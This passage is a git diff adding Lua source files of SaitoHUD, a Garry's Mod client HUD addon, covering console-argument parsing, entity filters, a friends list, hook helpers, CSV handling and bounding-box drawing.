+weapons/fx/rics/arrow_impact_flesh.wav +weapons/fx/rics/arrow_impact_flesh2.wav +weapons/fx/rics/arrow_impact_flesh3.wav +weapons/fx/rics/arrow_impact_flesh4.wav +weapons/fx/rics/arrow_impact_metal.wav +weapons/fx/rics/arrow_impact_metal2.wav +weapons/fx/rics/arrow_impact_metal4.wav +weapons/fx/rics/arrow_impact_wood.wav +weapons/fx/rics/arrow_impact_wood2.wav +weapons/fx/rics/arrow_impact_wood4.wav +weapons/fx/rics/ric1.wav +weapons/fx/rics/ric2.wav +weapons/fx/rics/ric3.wav +weapons/fx/rics/ric4.wav +weapons/fx/rics/ric5.wav \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt new file mode 100644 index 0000000..c0cceb7 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/sandbox/menu.txt @@ -0,0 +1,9 @@ +Title,Command +Easy Precision Tool,tool_easy_precision +Weld Tool,tool_weld +Remover Tool,tool_remover +No Collide Tool,tool_nocollide +Adv. Duplicator Tool,tool_adv_duplicator +Expression 2 Tool,tool_wire_expression2 +Wire Debugger Tool,tool_wire_debugger +Improved Wire Tool,tool_wire_improved \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/defaultlogo.ico b/Repos/HeXs_SaitoHUD-master/defaultlogo.ico new file mode 100644 index 0000000..a39aa76 Binary files /dev/null and b/Repos/HeXs_SaitoHUD-master/defaultlogo.ico differ diff --git a/Repos/HeXs_SaitoHUD-master/lua/autorun/client/saitohud_init.lua b/Repos/HeXs_SaitoHUD-master/lua/autorun/client/saitohud_init.lua new file mode 100644 index 0000000..c9a197b --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/autorun/client/saitohud_init.lua @@ -0,0 +1,12 @@ + + + +if not iface3 then + HeXInclude = include +end + + + +HeXInclude("saitohud/init.lua") + + diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/concmd.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/concmd.lua new file mode 100644 index 0000000..7223b58 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/concmd.lua @@ -0,0 +1,219 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Remove the empty (string) entries from a table. This modifies the table +-- in-place and returns it for convenience. +-- @param t +-- @return t +local function RemoveEmptyEntries(t) + if #t == 1 then return t end + + local i = 2 + while i <= #t do + if t[i]:Trim() == "" then + table.remove(t, i) + else + i = i + 1 + end + end + + return t +end + +SaitoHUD.VAR_CONCMD_GEOM_POINT = "VAR_CONCMD_GEOM_POINT" +SaitoHUD.VAR_CONCMD_GEOM_LINE = "VAR_CONCMD_GEOM_LINE" +SaitoHUD.VAR_CONCMD_ENTITY = "VAR_CONCMD_ENTITY" + +--- Parse a console command's arguments using a variable number of +-- arguments. +-- @param params Table containing parameter information +-- @param maxLeftOver Maximum number of free arguments to allow +-- @return Parsed variables +function SaitoHUD.ParseVarConcmd(args, params, maxLeftOver) + maxLeftOver = maxLeftOver or 0 + + local i = 1 + local result = {} + + for _, param in pairs(params) do + local name = param.Name + local type = param.Type + local wantedNumArgs = param.NumArgs or 1 + local cast = param.Cast + local optional = param.Optional + + -- Preprocessing + if type == SaitoHUD.VAR_CONCMD_GEOM_POINT then + if #args == 0 then + if not param.ImplicitTrace then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local tr = SaitoHUD.GetRefTrace() + result[name] = tr.HitPos + elseif args[1]:sub(1, 1) == "#" then + local id = table.remove(args, 1):Trim():sub(2) + + if SaitoHUD.GEOM.Points[id] then + result[name] = SaitoHUD.GEOM.Points[id] + else + print(string.format("GEOM library: No point by name of '%s'", id)) + return + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + local pt = SaitoHUD.GEOM.GetBuiltInPoint(id) + + if pt then + result[name] = pt + else + print(string.format("GEOM library: No built-in point by name of '%s'", id)) + return + end + else + wantedNumArgs = 3 + if not cast then cast = Vector end + end + elseif type == SaitoHUD.VAR_CONCMD_GEOM_LINE then + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + elseif args[1]:sub(1, 1) == "#" then + local id = table.remove(args, 1):Trim():sub(2) + + if SaitoHUD.GEOM.LineSegments[id] then + result[name] = SaitoHUD.GEOM.LineSegments[id] + else + print(string.format("GEOM library: No line segment by name of '%s'", id)) + return + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + local segment = SaitoHUD.GEOM.GetBuiltInLine(id) + + if segment then + result[name] = segment + else + print(string.format("GEOM library: No built-in line segment by name of '%s'", id)) + return + end + else + print("GEOM library: Line segments must specified by name") + return + end + elseif type == SaitoHUD.VAR_CONCMD_ENTITY then + if #args == 0 then + if not param.ImplicitTrace then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local tr = SaitoHUD.GetRefTrace() + if IsValid(tr.Entity) or optional then + result[name] = tr.Entity + else + print("No entity in trace") + return + end + elseif args[1]:sub(1, 1) == "#" then + local id = tonumber(table.remove(args, 1):Trim():sub(2)) + + if not id then + print("Entity ID required") + return + else + local ent = ents.GetByIndex(id) + if IsValid(ent) then + result[name] = ent + else + print(string.format("Unknown entity with ID %d", id)) + return + end + end + elseif args[1]:sub(1, 1) == "$" then + local id = table.remove(args, 1):Trim():sub(2) + + if id == "trace" then + local tr = SaitoHUD.GetRefTrace() + result[name] = tr.Entity + else + print(string.format("No built-in entity by name of '%s'", id)) + return + end + else + print("Unknown entity argument") + return + end + elseif type ~= nil then + Error("ParseVarConcmd() got an unknown type: " .. type) + end + + if not result[name] then + -- No splitting by commas here + if wantedNumArgs == 1 then + -- Not enough arguments? + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + end + + result[name] = table.remove(args, 1) + + if cast then result[name] = cast(result[name]) end + else + local extracted = {} + + while wantedNumArgs > #extracted do + -- Not enough arguments? + if #args == 0 then + if optional then return result end + print("Insufficient number of arguments") + return + end + + local res = string.Explode(",", table.remove(args, 1)) + for _, r in pairs(RemoveEmptyEntries(res)) do + table.insert(extracted, r) + end + end + + if #extracted > wantedNumArgs then + print("Too many arguments") + return + end + + result[name] = extracted + + if cast then result[name] = cast(unpack(extracted)) end + end + end + end + + if #args > maxLeftOver then + print("Too many arguments") + return + end + + return result +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua new file mode 100644 index 0000000..98c8460 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/filters.lua @@ -0,0 +1,351 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id: filters.lua 184 2010-08-12 08:15:40Z the.sk89q $ + +local FilterContext = {} + +--- Builds a new instance of a filter context +-- @param filterDef Filter definition table +-- @param tokens List of original tokens to produce the definition +-- @param filterFunc Function to filter with +function FilterContext:new(filterDef, tokens, filterFunc) + local instance = { + ["filterDef"] = filterDef, + ["tokens"] = tokens, + ["f"] = filterFunc, + } + + setmetatable(instance, self) + self.__index = self + return instance +end + +--- Creates a filter that will match nothing +-- @return Instance of FilterContext +function FilterContext.nullFilter() + return FilterContext:new({}, {}, function() return false end) +end + +--- Creates a filter that match anything +-- @return Instance of FilterContext +function FilterContext.universalFilter() + return FilterContext:new({}, {"*"}, function() return true end) +end + +local entityFilter = {} + +-- Directive names and the number of arguments that each directive takes +entityFilter.directives = { + ["mindist"] = 1, + ["maxdist"] = 1, + ["model"] = 1, + ["material"] = 1, + ["class"] = 1, + ["id"] = 1, + ["name"] = 1, +} + +entityFilter.aliases = { + ["min"] = "mindist", + ["max"] = "maxdist", + ["mdl"] = "model", + ["mat"] = "material", + ["cls"] = "class", + ["nam"] = "name", +} + +--- Helper method to build a list element of a filter definition +-- @param filterDef Filter definition table +-- @param key Key of list +-- @param item Value to update +function entityFilter.UpdateFilterDefList(filterDef, key, item) + if item:sub(1, 1) == "-" then -- Blacklist + key = key .. "Blacklist" + item = item:sub(2) + if not filterDef[key] then filterDef[key] = {} end + if item != "*" then + table.insert(filterDef[key], item) + end + else -- Whitelist + if not filterDef[key] then filterDef[key] = {} end + if item != "*" then + table.insert(filterDef[key], item) + end + end +end + +--- Builds a filter context. Note that this will modify the table of tokens, +-- and so a copy should be made if you wish to keep the original. +-- @param tokens List of filter arguments +-- @return Filter context +function entityFilter.Build(tokens, nilForNull) + local ORBranches = {} + local ANDBranches = {} + local filterDef = {} + local i = 1 + + if #tokens == 0 or tokens[1] == "" then + print("Matching no entities") + if nilForNull then + return nil + end + return FilterContext.nullFilter() + elseif #tokens == 1 and tokens[1] == "*" then + print("Matching all entities") + return FilterContext.universalFilter() + end + + while i <= #tokens do + local token = tokens[i] + local directive = nil + + -- Handle touching paranthesis + if token:sub(1, 1) == "(" and token ~= "(" then + table.insert(tokens, i + 1, token:sub(2)) + tokens[i] = "(" + elseif token:sub(-1) == ")" and token ~= ")" then + table.insert(tokens, i, token:sub(1, -2)) + tokens[i + 1] = "(" + end + + if token == "*" then + Error("Unexpected *") + elseif token:sub(1, 1) == "@" then + directive = token:sub(2):lower() + elseif token:lower() == "and" then + if i == #tokens then + Error("Missing condition(s) after explicit AND") + elseif i == 1 then + Error("Expression starts with an explicit AND") + elseif tokens[i + 1]:lower() == "or" then + Error("Two logic operators togthether") + end + elseif token:lower() == "or" then + -- Collect the later tokens and add this to an OR branch + local moreTokens = {} + for k = i + 1, #tokens do + table.insert(moreTokens, tokens[k]) + end + if #moreTokens == 0 then + Error("Missing condition(s) after OR") + end + table.insert(ORBranches, entityFilter.Build(moreTokens, false).f) + break + elseif token == "(" then + -- Collect the tokens within the parenthesis + local moreTokens = {} + local depth = 0 + for k = i + 1, #tokens do + if tokens[k] == "(" then + depth = depth + 1 + elseif tokens[k] == ")" then + if depth == 0 then + i = k + break + else + depth = depth - 1 + end + else + table.insert(moreTokens, tokens[k]) + end + end + table.insert(ANDBranches, entityFilter.Build(moreTokens, false).f) + elseif token == ")" then + Error("Parenthesis mismatch") + else + local a, b = string.match(token, "^([^:]+)=(.*)$") + if a ~= nil then + directive = a + tokens[i] = b + i = i - 1 -- We added a token unexpectedly + else + directive = "class" + i = i - 1 -- We added a token unexpectedly + end + end + + if directive ~= nil then + if entityFilter.aliases[directive] then + directive = entityFilter.aliases[directive] + end + + if entityFilter.directives[directive] then + local reqArgCount = entityFilter.directives[directive] + + if #tokens - i >= reqArgCount then + if directive == "mindist" then + filterDef.minDist = tonumber(tokens[i + 1]) + elseif directive == "maxdist" then + filterDef.maxDist = tonumber(tokens[i + 1]) + elseif directive == "id" then + entityFilter.UpdateFilterDefList(filterDef, "id", tokens[i + 1]) + elseif directive == "model" then + entityFilter.UpdateFilterDefList(filterDef, "model", tokens[i + 1]) + elseif directive == "material" then + entityFilter.UpdateFilterDefList(filterDef, "material", tokens[i + 1]) + elseif directive == "class" then + entityFilter.UpdateFilterDefList(filterDef, "cls", tokens[i + 1]) + elseif directive == "name" then + entityFilter.UpdateFilterDefList(filterDef, "name", tokens[i + 1]) + end + + i = i + reqArgCount + else + Error(string.format("Insufficient number of tokenuments for %s (%d required)", + directive, reqArgCount)) + end + else + Error("Unknown directive: " .. directive) + end + end + + i = i + 1 + end + + -- Now obsolete + -- for k, v in pairs(filterDef) do + -- if type(v) == "table" then + -- print(k .. ":") + -- for k, v in pairs(v) do + -- print("- " .. v) + -- end + -- else + -- print(k .. ": " .. v) + -- end + -- end + + local satisfiesList = entityFilter.SatisfiesListSubstring + + local filterFunc = function(ent, refPos) + for _, f in pairs(ANDBranches) do + if not f(ent, refPos) then return false end + end + + local id = ent:EntIndex() + local cls = ent:GetClass() + local model = ent:GetModel() + local material = ent:GetMaterial() + local pos = ent:GetPos() + + local name = "" + if ent:IsPlayer() then + name = ent:GetName() + end + + if pos and refPos then + local distance = pos:Distance(refPos) + + if filterDef.minDist and distance < filterDef.minDist then + return false + end + + if filterDef.maxDist and distance > filterDef.maxDist then + return false + end + end + + if not satisfiesList(filterDef.id, tostring(id), false, true) then return false end + if not satisfiesList(filterDef.cls, cls) then return false end + if not satisfiesList(filterDef.name, name) then return false end + if not satisfiesList(filterDef.model, model) then return false end + if not satisfiesList(filterDef.material, material) then return false end + + if satisfiesList(filterDef.idBlacklist, id, true, true) then return false end + if satisfiesList(filterDef.clsBlacklist, cls, true) then return false end + if satisfiesList(filterDef.nameBlacklist, name, true) then return false end + if satisfiesList(filterDef.modelBlacklist, model, true) then return false end + if satisfiesList(filterDef.materialBlacklist, material, true) then return false end + + return true + end + + -- We have OR branches + if #ORBranches > 0 then + local newFilterFunc = function(ent, refPos) + if filterFunc(ent, refPos) then return true end + for _, f in pairs(ORBranches) do + if f(ent, refPos) then return true end + end + + return false + end + + return FilterContext:new(filterDef, tokens, newFilterFunc) + else + return FilterContext:new(filterDef, tokens, filterFunc) + end +end + +--- Helper method for the filter function to check whether a string is +-- a substring of any item in a list +-- @param lst Whitelist +-- @param v Item to check +function entityFilter.SatisfiesListSubstring(lst, v, isBlacklist, strict) + if lst == nil then + if isBlacklist then + return false + else + return true + end + end + + if not v or v == "" then + return false + end + + if #lst == 0 and v then + return true + end + + if not strict then + if isBlacklist then + for _, test in pairs(lst) do + if v:lower():find(test:lower()) then -- TODO: Possibly lowercase text beforehand + return true + end + end + return false + else + for _, test in pairs(lst) do + if not v:lower():find(test:lower()) then -- TODO: Possibly lowercase text beforehand + return false + end + end + return true + end + else + if isBlacklist then + for _, test in pairs(lst) do + if v == test then -- TODO: Possibly lowercase text beforehand + return true + end + end + return false + else + for _, test in pairs(lst) do + if v != test then -- TODO: Possibly lowercase text beforehand + return false + end + end + return true + end + end +end + +SaitoHUD.FilterContext = FilterContext +SaitoHUD.entityFilter = entityFilter \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua new file mode 100644 index 0000000..22a4ccf --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/friends.lua @@ -0,0 +1,109 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local useSteamFriends = CreateClientConVar("friends_use_steam", "1", true, false) +local friendColor = CreateClientConVar("friend_color", "255,255,0", true, false) + +local friendIDs = {} +local lastFriendColor = "" +local friendColorObj = Color(255, 255, 0) + +--- Load the list of friends from disk. +function SaitoHUD.LoadFriends() + friendIDs = {} + + local data = SaitoHUD.LoadCSV("saitohud/friends.txt", {"Nickname", "SteamID"}) + + for _, v in pairs(data) do + local id = "STEAM_" .. v[2]:gsub("(STEAM_)", ""):upper():Trim() + friendIDs[id] = { + Nickname = v[1], + Color = Color(tonumber(v[3]), tonumber(v[4]), tonumber(v[5]), 255), + } + end +end + +--- Write the list of friends to disk. +function SaitoHUD.WriteFriends() + local data = {{"Nickname", "SteamID", "R", "G", "B"}} + + for steamID, info in pairs(friendIDs) do + table.insert(data, {info.Nickname, steamID, info.Color.r, info.Color.g, info.Color.b}) + end + + return file.Write("saitohud/friends.txt", SaitoHUD.WriteCSV(data), "DATA") +end + +--- Add a friend to the friends list. +-- @param ply Player or Steam ID +-- @param nickname Nickname +-- @param color Color +function SaitoHUD.AddFriend(ply, nickname, color) + if type(ply) == "Player" then + ply = ply:SteamID() + end + + color.a = 255 + + friendIDs[ply] = { + Nickname = nickname, + Color = color, + } +end + +--- Remove a friend from the friends list. +-- @param ply Player or Steam ID +function SaitoHUD.RemoveFriend(ply) + if type(ply) == "Player" then + ply = ply:SteamID() + end + + friendIDs[ply] = nil +end + +--- Returns whether a user is a friend. This may return true if the player is +-- a steam friend, depending on the user's settings. +-- @param ply Player +-- @return Boolean +function SaitoHUD.IsFriend(ply) + if friendIDs[ply:SteamID()] then return true end + return useSteamFriends:GetBool() and ply:GetFriendStatus() == "friend" +end + +--- Used to get the generic friend color for Steam friends. +-- @return Color +local function GetGenericFriendColor() + if lastFriendColor ~= friendColor:GetString() then + local c = string.Explode(",", friendColor:GetString()) + friendColorObj = Color(tonumber(c[1]) or 0, tonumber(c[2]) or 0, tonumber(c[3]) or 0) + lastFriendColor = friendColor:GetString() + end + + return friendColorObj +end + +--- Get a friend's color. May return generic color for Steam friends. +-- @param ply Player +-- @return Color +function SaitoHUD.GetFriendColor(ply) + if friendIDs[ply:SteamID()] then return friendIDs[ply:SteamID()].Color end + return GetGenericFriendColor() +end + +SaitoHUD.LoadFriends() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua new file mode 100644 index 0000000..836aa60 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/functions.lua @@ -0,0 +1,457 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Makes a psuedo class. +-- @return Table +function SaitoHUD.MakeClass(base) + local t = {} + + setmetatable(t, { + __call = function(self, ...) + local arg = {...} + local instance = {} + setmetatable(instance, {__index = t, __tostring = t.__tostring}) + if t.Initialize then instance:Initialize(unpack(arg)) end + return instance + end, + __index = base + }) + + return t +end + +--- Create hooks based on a cvar. +-- @param name Name of cvar +-- @param id ID of hook +-- @param hooks List of hooks +function SaitoHUD.HookOnCvar(name, id, hooks, checkAUT) + local rehook = function() + local enabled = false + + if type(name) == 'table' then + for _, v in pairs(name) do + enabled = GetConVar(v):GetBool() + if enabled then break end + end + else + enabled = GetConVar(name):GetBool() + end + + if checkAUT and SaitoHUD.AntiUnfairTriggered() then + enabled = false + end + + if enabled then + for h, f in pairs(hooks) do + hook.Add(h, id, f) + end + else + for h, f in pairs(hooks) do + pcall(hook.Remove, h, id) + end + end + end + + name = type(name) == 'table' and name or { name } + + for _, v in pairs(name) do + cvars.AddChangeCallback(v, rehook) + end + + rehook() +end + +--- Create hooks if a value is true. +-- @param enabled Hook or not +-- @param id ID of hook +-- @param hooks List of hooks +function SaitoHUD.HookIfTrue(enabled, id, hooks, checkAUT) + if checkAUT and SaitoHUD.AntiUnfairTriggered() then + enabled = false + end + + if enabled then + for h, f in pairs(hooks) do + hook.Add(h, id, f) + end + else + for h, f in pairs(hooks) do + pcall(hook.Remove, h, id) + end + end +end + +--- Safely remove a hook. +-- @param name Name of hook +function SaitoHUD.RemoveHook(name, id) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + hook.Remove(name, id) + end +end + +--- Gets the number of hooks registered. +-- @param name Name of hook +-- @return Number of hooks +function SaitoHUD.CountHooks(name) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + local count = 0 + for _, _ in pairs(hooks) do count = count + 1 end + + return count + else + return 0 + end +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function return the last non-nil result, or nil if +-- there was none. +-- @param name Name of hook +-- @param args Arguments +-- @return Last result +function SaitoHUD.CallHookLast(name, ...) + local ret = nil + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil then + ret = result + end + end + end + + return ret +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function will collect non-nil values that are returned +-- by the hooks into a table, and then return this table. If there are no hooks +-- registered, then a table with 0 elements will be returned. +-- @param name Name of hook +-- @param args Arguments +-- @return Table of results +function SaitoHUD.CallHookAggregate(name, ...) + local results = {} + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil then + table.insert(results, result) + end + end + end + + return results +end + +--- Calls a hook registered by hook.Add. +-- Unlike hook.Call, this function will collect non-nil table values and merge +-- the tables into one final table. +-- @param name Name of hook +-- @param args Arguments +-- @return Table of results +function SaitoHUD.CallHookCombined(name, ...) + local results = {} + local hooks = hook.GetTable()[name] + + if hooks ~= nil then + for _, f in pairs(hooks) do + local result = f(unpack(arg)) + if result ~= nil and type(result) == 'table' then + table.Add(results, result) + end + end + end + + return results +end + +--- Parses a CSV file. +-- @param data Data to parse +-- @return Table of rows +function SaitoHUD.ParseCSV(data) + if data == nil then return {} end + if data:Trim() == "" then return {} end + + local lines = string.Explode("\n", data:gsub("\r", "")) + local result = {} + + for i, line in pairs(lines) do + local line = line:Trim() + + if line ~= "" then + local buffer = "" + local escaped = false + local inQuote = false + local fields = {} + + for c = 1, #line do + local char = line:sub(c, c) + if escaped then + buffer = buffer .. char + escaped = false + else + if char == "\\" then + escaped = true + elseif char == "\"" then + inQuote = not inQuote + elseif char == "," then + if inQuote then + buffer = buffer .. char + else + table.insert(fields, buffer) + buffer = "" + end + else + buffer = buffer .. char + end + end + end + + table.insert(fields, buffer) + table.insert(result, fields) + end + end + + return result +end + +--- Write CSV data. +-- @param data +-- @return CSV +function SaitoHUD.WriteCSV(data) + local output = "" + + for _, v in pairs(data) do + local line = "" + for _, p in pairs(v) do + if type(p) == 'boolean' then + line = line .. ",\"" .. (p and "true" or "false") .. "\"" + else + line = line .. ",\"" .. tostring(p):gsub("[\"\\]", "\\%1") .. "\"" + end + end + + output = output .. "\n" .. line:sub(2) + end + + return output:sub(2) +end + +--- Shortcut function to load a CSV file from disk and drop the header row. +-- If the file doesn't exist or it's blank, an empty table will be returned. +-- @param path +-- @param headers List of headers to drop, in order +-- @return Table with entries +function SaitoHUD.LoadCSV(path, headers) + headers = headers or {} + + local data = file.Read(path, "DATA") + if data == nil or data == "" then return {} end + + data = SaitoHUD.ParseCSV(data) + if #data == 0 then return {} end + + -- Remove headers + local dropFirstRow = false + for k, v in pairs(headers) do + if data[1][k] == v then + dropFirstRow = true + else + dropFirstRow = false + break + end + end + + if dropFirstRow then table.remove(data, 1) end + + return data +end + +--- Function to autocomplete console commands with player names. +-- @param cmd +-- @param args +function SaitoHUD.ConsoleAutocompletePlayer(cmd, args) + local testName = args or "" + if testName:len() > 0 then + testName = testName:Trim() + end + local testNameLength = testName:len() + local names = {} + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + if name:len() >= testNameLength and + name:sub(1, testNameLength):lower() == testName:lower() then + if name:find(" ") or name:find("\"") then + name = "\"" .. name:gsub("\"", "\\\"") .. "\"" + end + table.insert(names, cmd .. " " .. name) + end + end + + return names +end + +--- Tries to parse a vector from console command arguments. +-- @param args Arguments +-- @param skip Number of initial arguments to ignore +function SaitoHUD.ParseConcmdVector(args, skip, ang) + if skip == nil then skip = 0 end + local x, y, z + + if #args - skip == 1 then + local r = string.Explode(",", args[1 + skip]) + if r[3] == nil then return nil end + x = tonumber(r[1]) + y = tonumber(r[2]) + z = tonumber(r[3]) + elseif #args - skip == 3 then + x = args[1 + skip]:gsub(",", "") + y = args[2 + skip]:gsub(",", "") + z = args[3 + skip]:gsub(",", "") + x = tonumber(x) + y = tonumber(y) + z = tonumber(z) + else + return nil + end + + if x ~= nil and y ~= nil and z ~= nil then + return ang and Angle(x, y, z) or Vector(x, y, z) + else + return nil + end +end + +--- Tries to parse an angle from console command arguments. +-- @param args Arguments +-- @param skip Number of initial arguments to ignore +function SaitoHUD.ParseConcmdAngle(args, skip) + return SaitoHUD.ParseConcmdVector(args, skip, true) +end + +--- Parses a string into a table, as if it were a console command. +-- @params str +-- @return The table +function SaitoHUD.ParseCommand(str) + local quoted = false + local escaped = false + local result = {} + local buf = "" + for c = 1, #str do + local char = str:sub(c, c) + if escaped then + buf = buf .. char + escaped = false + elseif char == "\"" and quoted then + quoted = false + table.insert(result, buf) + buf = "" + elseif char == "\"" and buf == "" then + quoted = true + elseif char == " " and not quoted then + if buf ~= "" then + table.insert(result, buf) + buf = "" + end + else + buf = buf .. char + end + end + if buf ~= "" then + table.insert(result, buf) + end + return result +end + +--- Draws the bounding box of an entity. +-- @param ent Entity to draw bounding box for +-- @param color Color to draw the bounding box in +function SaitoHUD.DrawBBox(ent, color) + local obbMin = ent:OBBMins() + local obbMax = ent:OBBMaxs() + + local p = { + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMax.z)):ToScreen(), + } + + local front = ent:LocalToWorld(Vector(0, 0, 40)):ToScreen() + local front2 = ent:LocalToWorld(Vector(50, 0, 40)):ToScreen() + + -- Odd things happen if not all the points are visible + local visible = true + for i = 1, 8 do + if not p[i].visible then + visible = false + break + end + end + + if visible then + local r, g, b, a = color + surface.SetDrawColor(r, g, b, a) + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + end +end + +--- Draws a 2D line in 3D-space. This must be called within a cam.Start3D +-- section. +-- @param p1 Start +-- @param p2 End +function SaitoHUD.Draw3D2DLine(p1, p2) + -- Draw the line + cam.Start3D2D(p1, (p2 - p1):Angle(), 1) + surface.DrawLine(0, 0, p1:Distance(p2), 0) + cam.End3D2D() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua new file mode 100644 index 0000000..792b29c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/geom.lua @@ -0,0 +1,205 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local subclassVector = CreateClientConVar("geom_subclass_vector", "0", true, false) + +local GEOM = {} +SaitoHUD.GEOM = GEOM + +GEOM.Points = {} +GEOM.Lines = {} +GEOM.Planes = {} +GEOM.Angles = {} + +--- Makes a dynamic vector class that will update its value every tick +-- (if needed). This is used for vectors local to an entity, so that they can +-- stay up to date. +-- @param constructorFunc Function to construct the object with +-- @param updateFunc Function that should return a new Vector or nil +-- @return Class table (with a __call) +function GEOM.MakeDynamicVectorType() + local v = {} + local mt = { + __call = function(t, ...) + local 